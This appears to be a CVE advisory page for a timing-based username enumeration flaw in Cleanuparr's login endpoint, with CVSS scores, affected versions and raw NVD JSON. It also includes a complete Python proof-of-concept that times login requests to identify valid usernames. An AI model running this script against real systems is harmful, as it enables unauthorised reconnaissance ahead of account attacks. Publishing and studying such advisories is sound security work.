Security Vulnerability Report
中文
CVE-2026-32702 CVSS 5.3 MEDIUM

CVE-2026-32702

Published: 2026-03-16 14:19:41
Last Modified: 2026-03-18 18:19:20

Description

Cleanuparr is a tool for automating the cleanup of unwanted or blocked files in Sonarr, Radarr, and supported download clients like qBittorrent. From 2.7.0 to 2.8.0, the /api/auth/login endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application's response time. It appears that the hashing function, which is the most time-consuming part of the process by design, occurs as part of the VerifyPassword function. With the short circuits occurring before the hashing function, a timing differential is introduced that exposes validity to the actor. This vulnerability is fixed in 2.8.1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:cleanuparr_project:cleanuparr:*:*:*:*:*:*:*:* - VULNERABLE
Cleanuparr >= 2.7.0 且 < 2.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32702 - Cleanuparr Username Enumeration via Timing Attack PoC for enumerating valid usernames through response time analysis """ import requests import time import statistics from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target:8787/api/auth/login" USERNAMES_FILE = "usernames.txt" # Common usernames list SAMPLES_PER_USER = 10 # Number of samples to collect per username THREADS = 5 def test_login_timing(username, password="dummy_password"): """Send login request and measure response time""" start = time.perf_counter() try: response = requests.post( TARGET_URL, json={"username": username, "password": password}, timeout=30 ) elapsed = time.perf_counter() - start return elapsed, response.status_code except requests.exceptions.RequestException: return None, None def analyze_timing(username, samples=SAMPLES_PER_USER): """Collect timing samples and analyze for timing differences""" times = [] for _ in range(samples): elapsed, _ = test_login_timing(username) if elapsed: times.append(elapsed) time.sleep(0.1) # Small delay between requests if len(times) >= 3: avg_time = statistics.mean(times) std_dev = statistics.stdev(times) if len(times) > 1 else 0 return avg_time, std_dev, times return None, None, [] def enumerate_usernames(): """Enumerate valid usernames using timing attack""" print(f"[*] Starting username enumeration on {TARGET_URL}") print(f"[*] Collecting {SAMPLES_PER_USER} samples per username\n") try: with open(USERNAMES_FILE, 'r') as f: usernames = [line.strip() for line in f if line.strip()] except FileNotFoundError: # Default common usernames usernames = ["admin", "root", "user", "test", "guest", "administrator", "sonarr", "radarr", "qbittorrent"] valid_users = [] baseline_avg = None # First, establish baseline with known invalid username print("[*] Establishing baseline timing...") baseline, _, _ = analyze_timing("__invalid_user_12345__") if baseline: baseline_avg = baseline print(f"[+] Baseline average time: {baseline_avg:.4f}s") print("\n[*] Starting username enumeration...\n") for username in usernames: avg_time, std_dev, times = analyze_timing(username) if avg_time: diff = avg_time - baseline_avg if baseline_avg else 0 ratio = avg_time / baseline_avg if baseline_avg else 1 # Valid users typically have longer response times # due to password hash computation if ratio > 1.5 and diff > 0.05: print(f"[+] VALID: {username:20s} | Avg: {avg_time:.4f}s | " f"Diff: +{diff:.4f}s | Ratio: {ratio:.2f}x") valid_users.append(username) else: print(f"[-] Invalid: {username:20s} | Avg: {avg_time:.4f}s") print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid users:") for user in valid_users: print(f" - {user}") return valid_users if __name__ == "__main__": enumerate_usernames()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32702", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:41.087", "lastModified": "2026-03-18T18:19:19.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleanuparr is a tool for automating the cleanup of unwanted or blocked files in Sonarr, Radarr, and supported download clients like qBittorrent. From 2.7.0 to 2.8.0, the /api/auth/login endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application's response time. It appears that the hashing function, which is the most time-consuming part of the process by design, occurs as part of the VerifyPassword function. With the short circuits occurring before the hashing function, a timing differential is introduced that exposes validity to the actor. This vulnerability is fixed in 2.8.1."}, {"lang": "es", "value": "Cleanuparr es una herramienta para automatizar la limpieza de archivos no deseados o bloqueados en Sonarr, Radarr y clientes de descarga compatibles como qBittorrent. Desde la versión 2.7.0 hasta la 2.8.0, el endpoint /api/auth/login contiene un fallo lógico que permite a atacantes remotos no autenticados enumerar nombres de usuario válidos midiendo el tiempo de respuesta de la aplicación. Parece que la función de hash, que es la parte del proceso que más tiempo consume por diseño, ocurre como parte de la función VerifyPassword. Con los cortocircuitos ocurriendo antes de la función de hash, se introduce una diferencia de tiempo que expone la validez al actor. Esta vulnerabilidad está corregida en la versión 2.8.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cleanuparr_project:cleanuparr:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.7.0", "versionEndExcluding": "2.8.1", "matchCriteriaId": "AFFA3DD2-63E9-4197-87EB-E7DF58B3DCBC"}]}]}], "references": [{"url": "https://github.com/Cleanuparr/Cleanuparr/security/advisories/GHSA-gjmf-m27r-2c9v", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/Cleanuparr/Cleanuparr/security/advisories/GHSA-gjmf-m27r-2c9v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}